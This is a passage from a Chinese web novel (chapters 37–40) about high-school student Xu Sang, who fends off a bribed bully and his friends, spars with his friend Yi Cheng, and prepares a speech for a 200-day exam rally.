易承重复:“不认识?” 巴黎蛋还有些委屈:“对啊,问两遍都说不认识。” “……”大概猜到原因,易承忽地笑了,语调都跟着上扬:“单方面认识,不允许?” 第37章 第37章 【“三脚猫水平,能怎么。”…… “单方面认识?”巴黎蛋脑子宕机了两秒, 下意识地转头去看银兄。 “嗯…”银兄吧唧两下嘴,苦脸,“老大, 我只听过‘单恋一枝花’。” “要你何用!”巴黎蛋转过脑袋,干咳两声后看回易承,“我管你什么意思!反正,我没惹你的人, 手都没动一下。你要敢无缘无故打我,可是要蹲局子的, 知道吗你?” 一旁, 许桑浅浅扫了眼有意拦着他、弓身叉腰排排站的小弟们。 几人互觑两眼,紧了脖子,神同步地撤步,往旁边退开几大步。 “……”这团队,底都溃没了顶还狂呢。 等人退开,许桑绕到易承身后, 没带耳机,他便没点开录音直接播放。稍一思量,微微倾身,在他耳边低语:“刚黑你呢。” “黑?”身后有了实靠,易承心下忽的实在,他轻笑一声,利眼转向巴黎蛋时,声音大了两分:“损我呢?” 巴黎蛋瞪了眼许桑, 脑子再滑溜都该反应得过来那小子通风报了什么信。 他臊了一脸红,“那什么,他不是不认识你嘛, 就介绍介绍。哪门子错了?” 但好歹身后全是小弟,日后还是要有威信立的,他哼了一声,换了个语气继续:“也顺带损损你。老子专干这行的,损两句而已,有什么不行吗?” “不对啊,老大。”钱弟往前一步,小声,“不认识能站他身后?” “对啊。”银兄也跟进一步,“也没见哪个陌生美女不认识就能让我护着啊!” “有道——”巴黎蛋刚想说欣赏,下一秒听完银兄的话,眉头一皱,原地蹦跶两步,“你说的都他妈不是一回事!” …… 架肯定是打不起来的。 易承刚想带人直接走,手腕被轻轻一拉。 他轻挑眉,无声:“怎么了?” 许桑不语,刚把录音提取了文字,顺便修改了错别字,才将手机递给他,“自己看。” 半分钟后,易承冷着看了巴黎蛋一眼,忆起那句“我就靠他欠的钱生活呢”,顿时恍然,他轻声:“难怪……” 难怪不愿把欠期的一年缩成一月。 敢情是怕习惯了一天吃空所有,怕从饿29天变成刨364天垃圾箱。 “南瓜?”巴黎蛋直愣愣地看着他,听完后,皱眉,转身踹了脚小弟,“去,抱个南瓜来,有仇没仇一笔勾销。” “啊?”被踹的人弯着腿磨蹭半天,心里骂了句:“半夜神他喵的有南瓜抱啊”。 但常年耳濡目染的团队修养让他瞬间立正,手指飞出个敬礼,跑出几步后还不忘摆正了身子大声:“老大大气!” 巴黎蛋昂头就接:“那是,我们心比屁股宽,有容就是大!” “……” 易承看着这出戏,有句脏话没骂出口,积蓄良久,睨着人道了声:“滚。” “滚滚滚,快滚!”巴黎蛋转身,要屈不能伸地拎着银兄钱弟往外走。 “好嘞!老大,这就滚得远远的……” “等等我,老大大大,我掉队了!” 等乌烟瘴气一堆人都退离了路口,易承轻皱眉。 巴黎蛋这伙人,典型的见洪变水、见红变怂,胆子没有脑子大。 有时候,甚至还觉得摊上这么个“债主”挺幸运的,至少不至于像明天要见的另一群债主。那帮人,浑身上下除了胆子就是胆子,有事没事来一锥子加一锤子…… 这帮人,还没吓呢裤子就先湿为敬。 尽管有些赖生关系挺恶心的。 意识到心里燃起丝丝躁意,易承下意识捏紧手机。 “真有仇啊?”许桑看了眼以巴黎蛋为首的几人躲马蜂一样抱头挡尾地窜出这条街。他见多不怪,内心起伏并不大,只是在看清身边人的细微动静时,问了一嘴。 易承回过神,手上松了些:“算不上。” “嗯。”许桑没多余问,拿回手机,删了这段文字加录音。 消化完零碎且稀里糊涂的情绪,易承低眸看了眼脚边的板凳,问道:“他们没怎么你吧?” 许桑平静:“三脚猫水平,能怎么。” “啧。” 易承还真就喜欢他身上这股劲儿,夸张一点——小完泰山小对手。 跟路灯有些许距离,并排站的灰黑色身影被延伸至很远。 安静了几秒,易承正想问他要不要先回家,迎面就对上匆匆跑来、满眼迷茫的小弟. 手上抱着一堆万圣节常用南瓜头,几个头掉了半块,某个头还混上了其他颜色……这两秒三人对视,抖得小弟散了一地大大小小的南瓜头。 “呃……” 小弟同手同脚地上前,手抖个不消停,好容易捡起两个头,又哐当落一地,他蹲地上,用两根细条条的手臂,“画地为牢”般给南瓜头们圈了个界限,小声道:“易承…易哥,易哥!南瓜来了。” “……”许桑瞥了眼南瓜们,默声。 小弟贼摸地向前一步,“我,我老大呢?” “回了。”易承扫了眼一地的狼藉,默了两秒,“抱回去吧。” 也没那么庆幸了……他收回刚才的话。 要不然“存在即合理”,要不然“厌蠢症”这仨字能兴一顿时间呢。 等小弟边走边捡,“捡完掉、掉完捡”地忙碌着走出这条不算长的街,街头才回归些许平静。 “送你回去?”易承弯身提起板凳,问道。 许桑想也没想:“好。” 从路口分开后,许桑回家,进浴室冲了个迅速的澡。 按着毛巾擦干头发时,他望着镜子里的光影,迷离两瞬后,脑海里浮现了记忆里的一张照片。 刚某个谁给他看的照片,那个青涩的易承。 藏了有段时间的猜测,疑惑也好,纰漏点也好……今天发生的事,听到的话,似乎将所有的割裂都完美缝合好。 撂下毛巾,他蹙眉,没管手上的水渍,摸过手机给易承发了消息。 【许桑:到家没?】 等消息时,他见“五虎上将”群里疯狂炸霹雳花,又是@所有人,又是消息99+,沉默两秒,散了骨头懒了筋,半倚着墙,伸手滑到最上方。 由陈慢牵头,吕丁作陪,赵鸿途当背景板。 聊天内容大概是:帅照丑照被甩校园墙或表白墙上,要么高兴得狂甩表情包,要么哀嚎得直飞感叹号。 这精神状态…… 许桑沉默地退出聊天界面,忽见界面下方多了个红色数字一,微顿。 上次许降变了花样来加他,绕是他心再大,也积累了些警惕心。 所以,他直接点了拒绝。 【校服专洗机:到了。】 【校服专洗机:你明天帮我带个假。】 【校服专洗机:理由的话。】 【校服专洗机:随便吧。】 许桑轻顿,回了个“好”。 刚退出聊天,那个申请加好友的人又来了一道,他想也没想点了拒绝。 从浴室走回床,许桑精神头还行,想从网上捞两道题做做看,就见那个昵称“捧着math嘬两口”跟打不死的小强一样疯狂发送验证信息。 就这么来回晃了七八次后,许桑不耐烦地点了同意。 毫秒的间隙都没有,那人发消息。 【捧着math嘬两口:小桑,小桑,我是徐老师。】 “……”许桑默着。 【捧着math嘬两口:这防范意识是不是过于强了?杀毒软件也没这么固若金汤……不过,非常可以,不亏是我徐富教出来的!】 是条语音,应该是躲被子里说的,声音压了些,但语气非常到位。 许桑迟钝地打字:“有事吗?” 【捧着math嘬两口:有有有。我放学走太急,忘跟你说了。两百日誓师,优秀学生代表发言稿,你赶工写一下。】 【捧着math嘬两口:辛苦辛苦(玫瑰)(玫瑰)】 “……” 要不是这人先一步自爆身份,许桑还真想给他删除加拉黑。 早上的校园依旧死气沉沉的,逐渐厚重的雾气厚实地压下来,用条同色系的无形线笔,将天与地连结在一起。 许桑踏进教室坐下后,感觉气氛不太对。 总是察觉到有道若隐若现的视线黏自己身上,有种狼盯上兔子、要拼上去一顿血口撕裂般…… 他轻顿,懒得寻人也懒得管,摸出套新打印的专题卷,开刷。 沉淀在题里,周遭声响视线也跟着匿迹。 “许哥,早好!”吕丁眯缝着两条眼睛,捧着本书半梦半醒地转过身,见易承没在,便收了那句“易哥,早好。” 许桑计算没停:“嗯。” 隔了两秒,抱着一摞卷子的陈慢叫苦不迭地走到许桑旁边,声音听着挺累:“许哥,早上好啊!” “嗯。”许桑连跳两题,正准备继续,见陈慢一动不动僵在原地,抬头,“有事?” “有。”陈慢弯腰,挤出笑脸:“刚碰到老徐,他叫你大课间去趟办公室来着。” 许桑笔尖轻顿:“好。” 进办公室时,许桑拿着张随手打印的发言稿,叩了两声门,习惯性的第三声还没落下,里面就遥遥传来一声:“要进就进,敲个锤子!” “……” 许桑手向下移了半寸,推开门,一眼对上穿一身大红色长裙的白晓莉,一条腿搭桌上,豪放非常地蹬她的恨天高;而另一头,抱着保温杯闭眼静修的徐富规规矩矩半躺着。 微顿,他喊道:“老徐。” “叫徐老师。”徐富立马蹦起来,两只眼睛亮亮的,“现在只有你能叫,高兴不?” 许桑嘴皮子轻扯,“徐老师。” “真动听啊。”徐富拖过根板凳,示意他坐下后,眨巴眨巴眼,“检……发言稿准备好了吗?” 许桑坐下:“差不多。” 第38章 第38章 【“才两招。”】…… 聊着, 办公室门被轻轻敲了一下,而后,有个柴瘦如猴、满脸青春痘、半弯着身的学生进来了, 摆着手来回跟办公室里的老师都问候了一遍。 “来了?云平。”白晓莉收整好,撩了一撮头发在手心里攥着,“你给的发言稿我看了,挺有激情和号召力的, 就只帮你改了些细节。” “谢谢白老师。”李云平鞠完标准躬,接过五六张A4纸:“老师辛苦了。” “我看学校的安排是:晚自习前有个彩排流程要走, 到时候你——” 徐富正说着话呢, 忽见李云平停在了他办公桌旁边,弯腰在桌上放了几张纸,很有礼貌地说:“徐老师,我写了一份发言稿,想到明天就是200天誓师,怕您太忙给忘了。” “啊?”徐富不记得自己什么时候找过他, 接过纸看了一眼。 正中央,3号标题宋体明白写着:高三200天誓师大会优秀学生代表发言稿。 接下来是手写体:“尊敬的领导,亲爱的同学们:我是理一班的李云平,很荣幸作为优秀学生代表在此……” 徐富眉毛一跳,疑惑出声:“云平啊,我,我这次没找你啊。” “啊?”李云平眼神都恍惚了两秒,手指搅在一起连忙翻转, “我听班长说了誓师大会的事,之前的发言不都是我来做的嘛,我还以为您忘了通知我, 就先拿着发言稿来找您了。” 许桑轻挑眉梢: 搞半天,他总算明白是怎么一回事了。 “啊……”徐富的视线来回在两学生身上横跳,他咂摸两下嘴皮子,有些左右为难,“那个,云平,你先回去,下节下课再来我办公室一趟吧。” “好。”李云平垂下头,眼里流出些显然的失落,他攥紧衣角,磨蹭两秒后出了办公室。 站在走廊,他抹掉眼角蓄着的泪,走着走着突然拐道,上了一楼。 “哎,这孩子。”徐富把纸拍到桌上,抚额,平缓呼吸后才道:“我等会去班上解释清楚,你别放在心上啊。” “嗯。”瞥了眼纸上的文字,许桑平淡地撤回视线。 手写的……也不嫌累- 一般安排发言人,通知到当事人就行。工作量小,还能起到个保持神秘性的作用,何乐而不为呢。 不过,考虑到同学融睦的问题,徐富还是抽下午自习课的最后半分钟,简单做了个无关轻重的宣布。 “许哥,优秀学生代表,你都要上台发言了?”下课后,吕丁没抑住激动,转过来惊呼,“也太牛逼了吧。” 称赞词也忒匮乏了。 许桑淡淡看他一眼,习惯性地用余光瞥一眼同桌,没见到趴着的脑袋,还挺不习惯。 刚准备收回视线,就见门口又多了几个身影,都是些熟悉面孔。 嗯……这是继早上出老徐办公室后,他第三个课间,第三次注意到有人盯他。 “鸿途几乎稳在年纪三四名,从高一开始发誓冲,冲到现在都还没有机会上台呢,你简直了!” “我不要面子的吗?”赵鸿途也转过来,脸上飘过两朵阴云,又立刻挤上笑脸,“不过,说实在的,能换个人听讲话,也挺不错。” 闲了,许桑揉了揉指节,搭话:“换个人?” “嗯,之前都是李云平代表发言的。”吕丁声音放小了些,“每次五千字打底,我每次都听睡死过去。” 不知何时伸了个八卦脑子的陈慢,幽幽举手:“加一。” “啧。”许桑轻笑,“预备校领导啊。” “这话没毛病!哈哈……”陈慢连忙接,“附中产业链包全的。我听老徐说,咱校长,上做到幼儿园,下开到殡葬业,就差个大学了。附中毕业,附中就职,死了还有附中来收尸,哎妈,笑死我了!” 考虑到要彩排的问题,今天下课时间提前了十分钟。 许桑实在不明白,拿个话筒往那一站就张嘴巴的事,到底是哪一环需要排练……等校领导们磨磨蹭蹭走完东场逛完西场,他往台上站了两秒,就溜出庞大的队伍群。 正想听听稿子效果,组织的老师寻半天没寻到人:“诶,优秀代表呢?” 目睹许桑飞步窜离现场,徐富提着过长的西装裤子就冲过来,脸上五颜六色的:“人还小,被饿着了,奔食堂吃饭呢。” 解释完,他呼出两口气: 这小子! 听着操场上时隐时现的话筒音,许桑笑着回来时,教室后门莫名被堵着了。 他“啧”了声:来了。 时装秀一样,几个吊儿郎当披着校服外套的,下面破洞裤、乞丐裤、碎布条裤、拼接裤杂式杂样的。 乍一眼望过去,辣眼睛。 “不是,理一班的后门,是随随便便一个人都能进的吗?咱一班守门人呢?快出来秀秀你的肱二头肌!”陈慢作为班长,站最前面挑大梁。 “为什么不秀腹肌?”人群中有个姑娘大声提问。 陈慢耐心解释:“咱是去示威,又不是去开屏!用得着腹肌吗?” 门口几位互看一眼,排头的邓茂光狠狠干咳一声,才勉强吸来对方半数的注意力:“你们班许桑呢?出来见见!” “许哥是你想见就能见的吗?!”从陈慢张开的手臂下挤出来,吕丁掏出随身携带的本子,有模有样地翻了两页,上面密密麻麻全是字。 “看!想见许哥的,一个本子都记不完,你先排个号!” 一秒没停顿,他大声说道:“小小……邓茂光是吧,排好了,刚好250号!” 他这话一落,后面跟风看热闹的笑成一片,气氛都跟着热烘起来。 许桑斜靠着墙,一副闲心看好戏的态度,望着人群中的两人,笑了声。 “陈慢吕丁,你们!”邓茂光自知说不过他俩,憋下这口气来,将教室里从头到尾都看了一遍,确定人不在位置上时,才端着架子转身,说:“人不在就算了。这次我们大人不记小人过,不跟你们计较,下次等着瞧!” 有女生小声接道:“这么用词,白老母上来就给你两脚踹北冰洋去!” “咳!”邓茂光瞪了那人一眼,和四五个人一同转身。 只是,刚转正,几双眼睛蓦地僵住——面前,立着个身形修长的少年,唇角勾着笑。 暮时橘红发沉的晚霞,映着他半边脸,亮着,精致得像琉璃彩抹出的画。 这他妈不就是许桑吗! 邓茂光仗着身后有人,往前挺了一步,说道:“许同学,晚上好啊!” 许桑淡淡回话,“晚上好。” “那个,后门就在操场那边。”把前提列好,邓茂光昂头,“等会放学,后门见!” 许桑没什么多余的表情,“好。” 替人·出气也好,买场教训也罢……都他妈是些他玩腻的东西。 “啊?!” “啊?!” 两声惊讶,异口同声地发出。 陈慢愣了两秒,“不是许哥,他这明摆着要去欺负你呢!” 邓茂光也愣了,心道:这就答应了?他还没准备好阵仗呢…… 没多解释,许桑扫了眼挡着门的人,那人立刻往旁边一退。 他走两步坐回座位,看钟表时,目光有意无意扫过前四五桌、看热闹正起劲以致忘收回视线的李云平,见后者匆匆别开眼,顿时觉得没劲,抽出试卷继续算题。 两群人慢慢散开,陈慢尽力制止了班内人员的放肆讨论,先一步坐到吕丁的位置上,正对着人,说:“许哥,你认真的?” 吕丁将就着立在旁边,半蹲身子,“对啊,认真的吗?” 许桑写下答案:“嗯。” “为什么?”陈慢低声说,“邓茂光虽然好对付,但很烦。癞皮狗一样,没脸没皮!而且……” 吕丁也连忙补充,“都怪之前光顾着笑人,忘分享恶心的了。你不知道,小小邓还有校外的人…” 许桑还算平静,给两人打了定心针:“这种,我能对付。” “行吧……” 陈慢也算有分寸,虽然关心,但不至于一定要达到干预的程度,在上课铃打响时,回到座位,仰头望天,叹气。 吕丁也皱着眉,时不时叹声气。 赵鸿途有点烦这一前一左两位疯狂制造二氧化碳的,没忍住,“我觉得吧,许哥没你们想的那么弱。” 两人齐刷刷地看向他,赵鸿途一怔,低头疯狂写题。 放学之后,想起课前挑事的邓茂光,许桑背上书包时,特意走了学校后门。 静静的,人烟稀少。草丛堆里走过阵风,草们都要稀奇地唱一首“千年等一回”。 誓师大会的台架已经搭好,充气横幅、“成功门”一类的物什也瘪成长条耷拉在地上——怎么看怎么没生机。 他到时,只看见条黑影,整个人扭曲着腰背腿儿,几乎是挂在门上,艰难而努力地开着锁,隔两秒会骂一句: “死锁,今天怎么撬不开啊!” “……”许桑径直走向他。 感受到身后有人,邓茂光腾地转身,食指被锁头一挂,侧尖上的皮悄无声息地被割裂开……他声音抖了两秒,看清来人心头一紧,忙端上架子:“还挺准时啊!” 许桑眼神如常,回道:“有事直说。” “好啊。”主观上认为这人没什么实际攻击性,邓茂光就把钥匙揣回兜里,忽地蹭到什么液体。 后知后觉地低头,食指上,几毫米深的伤口,才几眼没看就淌出血来,凝出一颗颗比针眼还大的血珠。 迟了半分钟的疼痛充斥脑海,他忽地大喊:“啊!” 这一声,云端的飞鸟都感觉被谁扯着腿了……惊得扑哧扑哧翅膀赶紧飞! 许桑往后退了一步,轻拧眉,“有病?” “没病,痛啊!”邓茂光从兜里摸出一把纸巾,缠了十多圈,没看到血之后,才松了口气。 抬头一看,摆足了架子说:“知道我为什么蹲你吗?” 许桑想说一句“废话真多”,但想想还是平静地回答:“你说。” “谁让你风头这么盛,谁让你个新生一来就牛逼哄哄地上台发言,还是什么狗屁优秀学生代表!”邓茂光往铁门后一靠,不经意用后脚蹄子踢了踢门,面上还是一副凶戾样,“谁让你长得有几分姿色,谁让你成绩好到一来就第一!” “……” 但凡无脑一点,许桑都该以为面前的人在变了法子地夸他。 “在我心里,年级第一只能是李云平,优秀学生代表也只能是李云平,明白吗?”邓茂光说着都有些闪舌头,但到底收了钱,还是一骨碌抖了出来。 许桑轻挑眉:“你的想法,与我何干?” “我,”邓茂光顿了半分钟,才找到霸气侧漏的词:“我他妈就是来让你明天上不了台、发不了言的!” 话落,他莽撞两个助跑,抖掉被血迹黏在手指上的卫生纸,就猛地要撞过来。 目光一凛,许桑侧身躲过他的斗牛式攻击,兜转两圈,摸清他的行动习惯和轨迹后,抬腿,往他后膝盖弯里一踹,等人迷瞪转向时,毫不收力地勾过人前颈。 “我靠!”被勒得直喷口水,邓茂光感觉身前身后全是痛,眼泪轰地就挤了出来。 “……” 许桑嫌弃地将人丢开,见人一个没站稳,往地上栽去。默了两秒,蹲下,淡淡一句:“才两招。” 邓茂光昂头,“你别嚣张,等会有你哭的!” “狠话都放不来。”许桑将人打量一眼,“业务能力确实差。” “……”险些一口血喷出来,邓茂光原地刺溜着两条腿,尽全力想蹬他两脚。 许桑精准踩上他的脚踝,收了些力,冷着看了他一眼,对方连忙瑟缩了脖子。 等人安生下来,许桑起身,估摸了眼铁门旁那堵有些高的墙,简单起跑,灵活而利落地攀上、翻了出去。 只是,脚刚落到实地,许桑顿住了。 身旁几步之隔的校门处,有四五个青年,没穿校服,五颜六色的头发毛躁地迎风乱舞,正双手插兜猫着腰死盯着校门。 还能听到其中一人小声的疑惑:“不对啊,都这个点儿啊,茂光还不开门,是准备单殴吗?” “刚听到尖叫声,没听到求救,那新生应该挺脆皮的。” “有道理,那叫我们来干什——” 此刻,几人收着嘴,齐刷刷地看向他,场面一度沉默非常。 许桑将两拨人联系起来: 刚还疑惑怎么人屁本事没有就敢来单挑,原来是锁没打开。 “怎么就你一个人,你把茂光怎么了?!” “这他妈完好无损出来,茂光放太平洋了?” “你们没带脑子吗?明显茂光输了。”带头的绿毛吐了口烟,“身手可以啊,不过,那是没遇到我们!” “对!” 话落,几人连体婴一样,挤一堆齐步上前……许桑轻拧眉,往后退了一步。 手刚捏成拳,身后忽地飞出块小石头,力气给了七八成,准头也相当可以,正怼着排头的绿毛,破离空气的石子落定,随之,那人“啊!”了一声。 “嗯?” 许桑回头,被树掩着的墙上,易承单手撑膝,另一条长腿随意垂着,慢条斯理地收回掷石块的手。 “我靠!易承!” “先跑了再说,他一个顶一窝!” “等等我,日妈他打老子裆!痛死我了……” 人溜得很快,秋风扫落叶一样,卷两下就没了。 许桑仰头,对着夜色里那双眼,不由地勾唇,问道,“你怎么来了?” 易承没急着下来,往墙内看了眼爬半天没直起来的邓茂光,语调轻快,答:“陈慢发消息,让我江湖救急。” 停了两秒,他由衷点评:“不过,貌似不需要。” 第39章 第39章 【“陪我打一架。”】…… 虽然对手太烂、许桑所用招数及来回极少, 但所谓知秋一叶,反应力、敏锐度、力度在交手中已然分明。 回忆了遍,易承有些意犹未尽, 垂眸,顺着心底欲望轻声:“许桑。” 许桑应道:“嗯?” “陪我打一架。”言语间,易承声音沾上哑意,眼底久积的燥意也渗出。 易承坐在墙上, 因而许桑一直是半仰着头望他,听此一声, 他轻挑眉。 对他来说, 打架就是劲不劲的事。 蓄好了力,结果发现对手一击都扛不住完全是个屁——说实话,挺难受。 他不由往前一步,声量微扬:“下来。” 尾音还未被风吹散,易承手掌一翻撑着墙沿便越了下来。身形刚稳住,一记拳风便凌空劈落。 搞突袭——许桑暗骂一句后, 转了重心侧过身轻易躲避这一击。 还没散尽的血性疯狂向上攀升,许桑眼中跳跃起兴奋因子,他活络指节捏紧拳,向前迎击。 他横臂抵挡易承暴风雨点般的直击,同时曲腿,膝盖用力顶上对手腰腹。 刚抵上,易承手心长眼了一样,毫厘不差地横过来阻隔, 卸完这一击,他点评:“劲小了。” “……” 许桑没让他的言语分去半分注意力,收回腿后迅即转招。转了攻击点的刹那, 许桑假动作肘击蒙过易承视线,手腕翻转压过他肩膀,侧身瞬间挑弯他后膝盖。 吃痛,易承闷哼一声。 好在反应力能被痛觉消解,他直起腿调整姿势。转身时,侧腰绕出被人围成的禁锢。 趁对方撤手不及,易承握拳欺身而上,拳风裹着厉劲,拳尾才擦过人眼角,横腿立刻就反压上他腰腹。 许桑心中一紧,转力,弯曲手肘怼开他。绷力之下,斜着手掌劈过易承颈侧。 不成,腕被厉劲钳住。 腰腹始终被股力阻碍,许桑有些发力不够,目光扫过易承时,把准他空出的腿,向下挪,狠力扫开他借以立住身体的右腿。 腿侧承力侧屈,易承皱眉。晃神一瞬,对方便飞速挣脱桎梏,反而压过自己臂膀,他猛地被摁墙上。 “啧。”被强行按住的手臂传来刺痛,随着逐渐粗重的喘息,易承感觉心头郁气也散了个八九不离十,他没脸没皮地摆手,“我认输。” 由衷轻笑一声,许桑松开他的手,侧身靠墙,微微欠身,手抵住膝盖连着喘息一阵。 易承揉了下被拧疼的肩膀,偏过头,笑道:“可以啊。” “还行。”许桑评价,伸手,颇有默契地跟他来回碰了个拳后,嗓音微微发颤:“遇事了?” 交手时,他留意到这人身上沾了些酒味。怪复杂的味道——像是跟谁待在同一空间过久被迫蹭上的。 还有,颈侧偏后,一道明显的长条状伤口。 不是他伤的。 “嗯。”易承犹豫两秒,说道:“还记得昨天堵你那伙人吗?” “记得。” 身上汗涔涔的不舒服,许桑脱了外套横搭在臂弯里,借泛凉的晚风,撩灭皮肤上的燥热因子。 “今天又应付了一伙。”一回味,易承眼里闪过些不爽,沉默两秒后,自嘲似的口吻轻声:“挺烦的。” “嗯。”许桑轻转手腕,刚被攥得久了,生疼。 若他猜的不错,大概易承今天请假是因为这一批债主。 就刚刚撒气式的打法来看,那帮人,比起昨天的那群傻帽,估计难对付十倍不止。 收手,许桑侧眸,两步之隔,视线细细给人的侧脸轮廓描边,停留在他下颌处滑落的汗珠,他轻顿,“烦了,下次可以来找我。” 说完,他在心底骂道:这话岂止狗拿耗子,有毛病管这么多! “找你约架?”消化完用词,易承忽地笑了。 换个人,经此一遭,估计八百都跑出新记录了! 他偏头,视线无意相交的刹那,腾出架余的热意。 被燎烧了般,杂念灰飞烟灭,许桑别开些许,收回扭曲后的解释词,“嗯。” 听到回答,易承静静看了他良久,勾唇,缓缓点头:“好。” 夜间的风,多少生凉。 才出汗,又吹风。凉快是事实,不过,吹多了人九成九得老实。 安静站了两分钟,易承体力恢复得差不多,挺直腰,就瞥见许桑理校服。 交手时,除了开头几招的试探,能肯定他是动了真力气……此时,探衣袖的手轻用力,蒙着白皮的手背,青筋凸起,似还含着绷力后的薄红。 易承喉头轻滚,视线由下到上,落到他眼里,沉声:“在这等我。” “好。”许桑裹上校服。 约莫两分钟后,易承握着两瓶水走了回来。 “诶!”几步之隔时,他顿了步子,丝毫不担心人接不住地,随手抛了出去,附声:“接着。” 许桑闻声抬头,眉梢轻拧,伸手稳当接过水,没忍住:“多走两步累得死你?” 仰头灌了几口水,易承笑吟吟的:“嗯。” “……”毛病。 倚着墙,许桑拧开瓶盖,连喝了几口,嗓子眼里的干涩才勉强褪下。 两人对喝完,同道走了一截,便散了。 进楼前,许桑回头望了眼他的身影,声控灯在无痕的静默里自然熄灭。无奈染上晦暗的眼眸里,流出些难定性的情绪。 单手抛接水瓶,他收回视线,转过身去,上楼。 “家家有本难念的经。”——说不定真得转个行出家。 和尚尼姑准没有难念经的烦恼。 冲完澡出来,身上史无前例的爽利,许桑随意擦了把头发,便进了卧房。 学校的意思是,两百天誓师,誓的就是个“鸿运当头”。 具体要求呢,就是让他给他那张发言稿粘个红色壳子。 许桑翻胶水时,无意摸到之前用过的本子——没印象写了什么。 他摊开,瞬间,十几二十张薄纸雪花片似的洒落。 “……”一地鸡毛。 扫了眼从书桌铺到脚底的纸,上面清一色地标着“检讨书”。 许桑扯出一抹无奈的笑:搬家还带着黑历史,也是没谁了。 正收捡,手机忽地跳进个视频通话——来电人:“梁意杉。”他摁了接通,那头,梁意杉举着张试卷,焦急连天地满嘴飞词:“许哥,快救救我!” “怎么?”今晚心情不错,许桑多余看了他几眼。 “除了错题,我还能犯什么大过?”他边说,边临时把试卷拍下来,图片形式拍过来,“马上期中,老袁坐不住了,纸不要钱一样印了十几套卷子……然后今天抽人,抽十个九个已读乱回。我——” 每次前摇长得、都够配首主题曲了。 许桑打断他的话,“哪题?” “哎呀!”梁意杉激动得原地蹦跳,“许哥,还是你懂我!选择第九题之后都要,大题20——要不先讲前面?” “嗯。”许桑随手摸了几张检讨,翻过面就开算,差不多做完两道,开口:“第十题,构造函数就行……” 大半张边刷边讲下来,试题大体说难不难,说简单又的确需要点素养。 讲着讲着,许桑落笔,盯着最后一题,默住了。 这题,挺老袁风格。 “卡了吗?”梁意杉狂摇手机,“不是吧,我专门请假回家,家里网没学校好?不应该啊。” “……”许桑捞起笔,落下答案,抬眸白了他一眼:“戏多。” “吓我一跳!”梁意杉看着屏幕里重新鲜活的脸,长叹气,“我就当你夸我了……许哥,你刚怎么了,跟被谁点了定身穴一样,一动不动的。” “没。”许桑重新看题,眼睫轻颤,缓了两秒后,开口:“最后一题——你确定要听?” “……许哥,你。” 梁意杉几乎脑补出了纯许桑音色音调的潜台词:“听得懂吗你。” 登时心头刺痛,不过眼珠一转,他承认确实可能是“听了就忘,不如不听”,便赤拉拉地收下情绪,“有道理,我还吃不来细糠。” 闻言,许桑轻笑一声,“我讲。” 等这道题的思路坎坎坷坷进了梁意杉耳朵,又被粗条的脑子踹出来无数次后,他放弃了,捂着头唉声,“许哥,我就不该听——现在脑子比芝麻糊还糊了。” 许桑顿了两秒,“去补点基本结论,用上端点效应反证,能有大半的分。” “好的,许哥!”听到意见,梁意杉连忙用笔记下关键词,而后伸了个大大的懒腰。 学习任务完成,他开始扯皮,“许哥,你今天心情不错啊?” 许桑按揉手指:“有吗?” “嗯,换平时,你肯定要训我一句‘耳朵卖了换脑子吧。’但你今天,少见的……温柔。”梁意杉卡壳两秒,说完,自己都惊了一跳。 这词跟许哥,八百竿子都打不着吧! 之前许哥还在的时候,嗯…还在同一所学校的时候——眼神冰渣子似的刺楞,看谁冻谁,学校总有人时不时发帖子:“他妈许桑上辈子是刺猬吧!”、“马蜂刺转世吧他”…… 神话太多,包括但不限于:他还是学校十余年来,唯一一个只上台念检讨书的年级第一。 听到这词,许桑眉梢轻动,手无意识地勾上笔,转着,“跟人打了一架。” “我操?”梁意杉一激灵,“这才转校没两周吧?” 目光落在笔头旋转带出的虚影,许桑轻声:“嗯。” “两周还不够结仇吧,不对,什么架打完心情好啊?”梁意杉把手机摆桌上,往门口看了眼后,开始收卷子,“算了,你包赢的。我查了查你们学校,好像,挺一般的,特别是成绩。感觉我转过去,都能混个前二十。要不,许哥,我转过去陪你吧?” 许桑:“……” 聊了个七七八八,许桑把打了草稿的纸丢垃圾桶里,顺手抽过红壳子,滴上胶,拿过发言稿,还没粘,就见对面视频镜头忽然一阵凌乱。 而后,一道不算温和的女声冒出:“这谁?那个许桑?我不是说了,不要跟他往来吗?问题学生,交流多了你也要跟着得病的,不长耳——” 视频通话戛然而止,许桑指尖轻颤,力道骤减,稿纸轻飘飘地落下。 夜正深,熬得住的台灯光亮式微;窗外偶有风声作祟,呼呼两声把自己吓破胆似的,匿迹了。 女声在耳中回响,连着勾带起碎片的回忆。 许桑眼睫轻颤,僵了几息,才伸手摸到刚不慎滑飞的纸张。 视线有瞬间的失焦,他抿唇,随意按下稿纸便合上红壳子,对着熄掉的手机屏幕,定定看着。 半分钟后,他起身从书架上取下一套新卷子,拧开笔帽算题。 第40章 第40章 【谁给蹂躏成这样了?】…… 老徐说, 两百日誓师大会算得上学校重量级的活动。 按照往届旧例,原则上,阵仗大, 挺热闹,能哭一操场那种——因为,冠以全名,该是“两百日誓师大会暨成人礼”。 老师、学生、家长……肉夹馍一样, 学生两头照顾两头哭。 但,这届不是往届, 莫名其妙就取消了——可能意识到, 哭得太多,难出片! 好不容易剪个视频,结果里里外外稀里哗啦。指不定对校的人怎么乐呵:呵呵,没考呢,先哭上了? 但毕竟活动地位在,早自习连同第一节课, 各班都短暂搁置学业,由体育委员和班长牵头,带领全班同学练习方阵、熟悉誓词和流程等。 结果,一派派下来,愣是拖到了第二节下课。 易承跑厕所回来晚了些,走进教室就见许桑趴课桌上,手臂团得紧,只侧对着他这边, 露出形状好看的眉和闭着的眼。 才回来就睡啊…… 他细细看了人几眼,抽出一旁的试卷,有些违背常态地刷题。 曹武推门进教室时, 班里还隐隐飘着些嘀咕,他把物理课本丢讲台上,边弯身调PPT,边调侃:“只剩两百天,该消停消停,好生学习了,我亲爱的同学们。” “两百天,我操,不是还在高三上吗?早上还以为做梦呢,结果真就只剩两百天了!” “是啊,只剩两百天了,就我这烂如屎的成绩,还能逆袭吗?” “别人奋战三年,你‘粪战’200天,兄弟,动动你那屎壳郎食物般的脑袋,公平何在?” …… 曹武把总复习阶段的资料筹备得差不多了,打开对应章节的课件,等网络反应时,无奈说道:“我这是,听取你们哀声一片啊!” 说完,下面滚雷一样飘过一阵又一阵的叹息。 “我错了,我错了。”曹武作了个揖,笑着,连忙说:“该说,还有、还有200天呢!这么长时间,别让自己的动能变为势能,努努力,总会有能量,也总会行的。” 越到高三后期,任课老师的任务就越重。 不止是备课,还要频繁考虑到学生的身心状况。 到底是害怕自己给的语言压力过大、一不小心把学生这根弹簧给压到底了。 